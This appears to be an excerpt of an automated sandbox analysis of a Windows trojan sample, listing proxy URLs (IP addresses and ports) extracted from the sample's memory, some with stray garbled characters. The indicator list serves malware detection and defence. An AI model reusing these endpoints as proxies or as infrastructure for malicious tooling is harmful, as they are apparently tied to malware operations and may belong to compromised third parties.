Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:39533://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:408250
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:40825://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:41491
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:41491://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:46249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:46249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.158.55:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.158.55:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:13988
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:13988://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:32988
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:32988://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:48983
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:48983://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:60153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.159.43:60153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.42.153:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.42.153:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.91.47:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.91.47:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.235.185.47:6969
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.235.185.47:6969://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.214:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.214:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.218:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.218:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.220:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.249.29.220:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.250.181.133:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC8A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.250.181.133:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.208.252:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.208.252:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.220.29:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.220.29:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.5.83:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.5.83:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.5.83:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.71.5.83:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:32947
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:32947://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:33912
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:33912://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:35196
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:35196://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:37172
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:37172://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:46411
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:46411://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:46859
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:46859://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:49369
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.69.142:49369://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.76.187:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.86.76.187:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:1546
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:1546://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:27237
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:27237://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:34913
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:34913://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:48953
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:48953://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:50450
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:50450://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:57581
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:57581://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:59431://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:59431xD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:60880
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.123.158:60880://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.124.118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.124.118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.124.118:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.131.11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.131.11://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.131.11:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.174.59
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.174.59://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.174.59:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.182.227:39031
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.182.227:39031://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F56000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.219.173:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.219.173:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.233.164:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.233.164:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA900000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.36.48:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA943000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.36.48:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:13486
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:13486://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:28140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:28140://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:46015
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:46015://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:46523
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.39.82:46523://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA533000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.76.245:22038
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA54C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.99.76.245:22038://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.138.21.250:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.138.21.250:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.138.211.5:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.138.211.5:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.181.196.76:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.181.196.76:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.194.75.98:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.194.75.98:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.195.203.106:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.195.203.106:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.205.102.26:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.205.102.26:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.150.10:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.150.10:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.158.17:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.158.17:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.158.41:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.227.158.41:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CACB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.90.255.60:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.90.255.60:999://proxyh
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.255.198.8:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.255.198.8:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.146:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.146:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.106.193.128:30001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.106.193.128:30001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.210.121.190:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.210.121.190:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.238.104.213:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.238.104.213:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.207.241:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.207.241:999://proxy
